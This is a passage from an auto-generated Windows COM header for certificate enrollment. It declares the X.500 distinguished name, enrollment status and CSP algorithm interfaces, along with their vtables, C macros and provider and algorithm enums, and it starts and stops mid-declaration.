IX500DistinguishedName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX500DistinguishedName * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX500DistinguishedName * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX500DistinguishedName * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Decode )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [in] */ __RPC__in BSTR strEncodedName,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X500NameFlags NameFlags);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [in] */ __RPC__in BSTR strName,\n            /* [defaultvalue][in] */ X500NameFlags NameFlags);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Name )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncodedName )( \n            __RPC__in IX500DistinguishedName * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX500DistinguishedNameVtbl;\n\n    interface IX500DistinguishedName\n    {\n        CONST_VTBL struct IX500DistinguishedNameVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX500DistinguishedName_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX500DistinguishedName_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX500DistinguishedName_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX500DistinguishedName_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX500DistinguishedName_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX500DistinguishedName_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX500DistinguishedName_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX500DistinguishedName_Decode(This,strEncodedName,Encoding,NameFlags)\t\\\n    ( (This)->lpVtbl -> Decode(This,strEncodedName,Encoding,NameFlags) ) \n\n#define IX500DistinguishedName_Encode(This,strName,NameFlags)\t\\\n    ( (This)->lpVtbl -> Encode(This,strName,NameFlags) ) \n\n#define IX500DistinguishedName_get_Name(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Name(This,pValue) ) \n\n#define IX500DistinguishedName_get_EncodedName(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncodedName(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX500DistinguishedName_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0005 */\n/* [local] */ \n\ntypedef \nenum X509CertificateEnrollmentContext\n    {\n        ContextNone\t= 0,\n        ContextUser\t= 0x1,\n        ContextMachine\t= 0x2,\n        ContextAdministratorForceMachine\t= 0x3\n    } \tX509CertificateEnrollmentContext;\n\ntypedef \nenum EnrollmentEnrollStatus\n    {\n        Enrolled\t= 0x1,\n        EnrollPended\t= 0x2,\n        EnrollUIDeferredEnrollmentRequired\t= 0x4,\n        EnrollError\t= 0x10,\n        EnrollUnknown\t= 0x20,\n        EnrollSkipped\t= 0x40,\n        EnrollDenied\t= 0x100\n    } \tEnrollmentEnrollStatus;\n\ntypedef \nenum EnrollmentSelectionStatus\n    {\n        SelectedNo\t= 0,\n        SelectedYes\t= 1\n    } \tEnrollmentSelectionStatus;\n\ntypedef \nenum EnrollmentDisplayStatus\n    {\n        DisplayNo\t= 0,\n        DisplayYes\t= 1\n    } \tEnrollmentDisplayStatus;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0005_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0005_v0_0_s_ifspec;\n\n#ifndef __IX509EnrollmentStatus_INTERFACE_DEFINED__\n#define __IX509EnrollmentStatus_INTERFACE_DEFINED__\n\n/* interface IX509EnrollmentStatus */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509EnrollmentStatus;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab304-217d-11da-b2a4-000e7bbb2b09\")\n    IX509EnrollmentStatus : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE AppendText( \n            /* [in] */ __RPC__in BSTR strText) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Text( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Text( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Selected( \n            /* [retval][out] */ __RPC__out EnrollmentSelectionStatus *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Selected( \n            /* [in] */ EnrollmentSelectionStatus Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Display( \n            /* [retval][out] */ __RPC__out EnrollmentDisplayStatus *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Display( \n            /* [in] */ EnrollmentDisplayStatus Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Status( \n            /* [retval][out] */ __RPC__out EnrollmentEnrollStatus *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Status( \n            /* [in] */ EnrollmentEnrollStatus Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Error( \n            /* [retval][out] */ __RPC__out HRESULT *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Error( \n            /* [in] */ HRESULT Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ErrorText( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509EnrollmentStatusVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509EnrollmentStatus * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509EnrollmentStatus * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509EnrollmentStatus * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *AppendText )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ __RPC__in BSTR strText);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Text )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Text )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Selected )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [retval][out] */ __RPC__out EnrollmentSelectionStatus *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Selected )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ EnrollmentSelectionStatus Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Display )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [retval][out] */ __RPC__out EnrollmentDisplayStatus *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Display )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ EnrollmentDisplayStatus Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Status )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [retval][out] */ __RPC__out EnrollmentEnrollStatus *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Status )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ EnrollmentEnrollStatus Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Error )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [retval][out] */ __RPC__out HRESULT *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Error )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ HRESULT Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ErrorText )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509EnrollmentStatusVtbl;\n\n    interface IX509EnrollmentStatus\n    {\n        CONST_VTBL struct IX509EnrollmentStatusVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509EnrollmentStatus_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509EnrollmentStatus_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509EnrollmentStatus_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509EnrollmentStatus_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509EnrollmentStatus_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509EnrollmentStatus_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509EnrollmentStatus_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509EnrollmentStatus_AppendText(This,strText)\t\\\n    ( (This)->lpVtbl -> AppendText(This,strText) ) \n\n#define IX509EnrollmentStatus_get_Text(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Text(This,pValue) ) \n\n#define IX509EnrollmentStatus_put_Text(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Text(This,Value) ) \n\n#define IX509EnrollmentStatus_get_Selected(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Selected(This,pValue) ) \n\n#define IX509EnrollmentStatus_put_Selected(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Selected(This,Value) ) \n\n#define IX509EnrollmentStatus_get_Display(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Display(This,pValue) ) \n\n#define IX509EnrollmentStatus_put_Display(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Display(This,Value) ) \n\n#define IX509EnrollmentStatus_get_Status(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Status(This,pValue) ) \n\n#define IX509EnrollmentStatus_put_Status(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Status(This,Value) ) \n\n#define IX509EnrollmentStatus_get_Error(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Error(This,pValue) ) \n\n#define IX509EnrollmentStatus_put_Error(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Error(This,Value) ) \n\n#define IX509EnrollmentStatus_get_ErrorText(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ErrorText(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509EnrollmentStatus_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0006 */\n/* [local] */ \n\ntypedef \nenum X509ProviderType\n    {\n        XCN_PROV_NONE\t= 0,\n        XCN_PROV_RSA_FULL\t= 1,\n        XCN_PROV_RSA_SIG\t= 2,\n        XCN_PROV_DSS\t= 3,\n        XCN_PROV_FORTEZZA\t= 4,\n        XCN_PROV_MS_EXCHANGE\t= 5,\n        XCN_PROV_SSL\t= 6,\n        XCN_PROV_RSA_SCHANNEL\t= 12,\n        XCN_PROV_DSS_DH\t= 13,\n        XCN_PROV_EC_ECDSA_SIG\t= 14,\n        XCN_PROV_EC_ECNRA_SIG\t= 15,\n        XCN_PROV_EC_ECDSA_FULL\t= 16,\n        XCN_PROV_EC_ECNRA_FULL\t= 17,\n        XCN_PROV_DH_SCHANNEL\t= 18,\n        XCN_PROV_SPYRUS_LYNKS\t= 20,\n        XCN_PROV_RNG\t= 21,\n        XCN_PROV_INTEL_SEC\t= 22,\n        XCN_PROV_REPLACE_OWF\t= 23,\n        XCN_PROV_RSA_AES\t= 24\n    } \tX509ProviderType;\n\n// XCN_BCRYPT_SIGNATURE_INTERFACE: RSA, DSA, ECDSA_P* signature\n// XCN_BCRYPT_ASYMMETRIC_ENCRYPTION_INTERFACE: RSA encryption\n// XCN_BCRYPT_CIPHER_INTERFACE: RC2, RC4, DES, 3DES, AES symmetric encryption\n// XCN_BCRYPT_HASH_INTERFACE: MD2, MD4, SHA1, SHA256, SHA384, SHA512 MAC, HMAC Hash\n// XCN_BCRYPT_SECRET_AGREEMENT_INTERFACE: DH, ECDH_P* key agreement\n// XCN_BCRYPT_RNG_INTERFACE: RNG\ntypedef \nenum AlgorithmType\n    {\n        XCN_BCRYPT_UNKNOWN_INTERFACE\t= 0,\n        XCN_BCRYPT_SIGNATURE_INTERFACE\t= 0x5,\n        XCN_BCRYPT_ASYMMETRIC_ENCRYPTION_INTERFACE\t= 0x3,\n        XCN_BCRYPT_CIPHER_INTERFACE\t= 0x1,\n        XCN_BCRYPT_HASH_INTERFACE\t= 0x2,\n        XCN_BCRYPT_SECRET_AGREEMENT_INTERFACE\t= 0x4,\n        XCN_BCRYPT_RNG_INTERFACE\t= 0x6\n    } \tAlgorithmType;\n\ntypedef \nenum AlgorithmOperationFlags\n    {\n        XCN_NCRYPT_NO_OPERATION\t= 0,\n        XCN_NCRYPT_CIPHER_OPERATION\t= 0x1,\n        XCN_NCRYPT_HASH_OPERATION\t= 0x2,\n        XCN_NCRYPT_ASYMMETRIC_ENCRYPTION_OPERATION\t= 0x4,\n        XCN_NCRYPT_SECRET_AGREEMENT_OPERATION\t= 0x8,\n        XCN_NCRYPT_SIGNATURE_OPERATION\t= 0x10,\n        XCN_NCRYPT_RNG_OPERATION\t= 0x20,\n        XCN_NCRYPT_ANY_ASYMMETRIC_OPERATION\t= ( ( 0x4 | 0x8 )  | 0x10 ) ,\n        XCN_NCRYPT_PREFER_SIGNATURE_ONLY_OPERATION\t= 0x200000,\n        XCN_NCRYPT_PREFER_NON_SIGNATURE_OPERATION\t= 0x400000,\n        XCN_NCRYPT_EXACT_MATCH_OPERATION\t= 0x800000,\n        XCN_NCRYPT_PREFERENCE_MASK_OPERATION\t= 0xe00000\n    } \tAlgorithmOperationFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0006_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0006_v0_0_s_ifspec;\n\n#ifndef __ICspAlgorithm_INTERFACE_DEFINED__\n#define __ICspAlgorithm_INTERFACE_DEFINED__\n\n/* interface ICspAlgorithm */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICspAlgorithm;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab305-217d-11da-b2a4-000e7bbb2b09\")\n    ICspAlgorithm : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE GetAlgorithmOid( \n            /* [in] */ LONG Length,\n            /* [in] */ AlgorithmFlags AlgFlags,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_DefaultLength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_IncrementLength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_LongName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Valid( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_MaxLength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_MinLength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Name( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Type( \n            /* [retval][out] */ __RPC__out AlgorithmType *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Operations( \n            /* [retval][out] */ __RPC__out AlgorithmOperationFlags *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICspAlgorithmVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICspAlgorithm * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICspAlgorithm * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICspAlgorithm * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICspAlgorithm * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICspAlgorithm * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICspAlgorithm * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICspAlgorithm * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *GetAlgorithmOid )( \n            __RPC__in ICspAlgorithm * This,\n            /* [in] */ LONG Length,\n            /* [in] */ AlgorithmFlags AlgFlags,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_DefaultLength )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_IncrementLength )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_LongName )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Valid )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_MaxLength )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_MinLength )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Name )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out AlgorithmType *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Operations )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out AlgorithmOperationFlags *pValue);\n        \n        END_INTERFACE\n    } ICspAlgorithmVtbl;\n\n    interface ICspAlgorithm\n    {\n        CONST_VTBL struct ICspAlgorithmVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICspAlgorithm_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICspAlgorithm_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICspAlgorithm_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICspAlgorithm_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICspAlgorithm_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICspAlgorithm_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICspAlgorithm_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICspAlgorithm_GetAlgorithmOid(This,Length,AlgFlags,ppValue)\t\\\n    ( (This)->lpVtbl -> GetAlgorithmOid(This,Length,AlgFlags,ppValue) ) \n\n#define ICspAlgorithm_get_DefaultLength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_DefaultLength(This,pValue) ) \n\n#define ICspAlgorithm_get_IncrementLength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_IncrementLength(This,pValue) ) \n\n#define ICspAlgorithm_get_LongName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_LongName(This,pValue) ) \n\n#define ICspAlgorithm_get_Valid(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Valid(This,pValue) ) \n\n#define ICspAlgorithm_get_MaxLength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MaxLength(This,pValue) ) \n\n#define ICspAlgorithm_get_MinLength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MinLength(This,pValue) ) \n\n#define ICspAlgorithm_get_Name(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Name(This,pValue) ) \n\n#define ICspAlgorithm_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define ICspAlgorithm_get_Operations(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Operations(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICspAlgorithm_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICspAlgorithms_INTERFACE_DEFINED__\n#define __ICspAlgorithms_INTERFACE_DEFINED__\n\n/* interface ICspAlgorithms */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICspAlgorithms;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab306-217d-11da-b2a4-000e7bbb2b09\")\n    ICspAlgorithms : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithm **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt 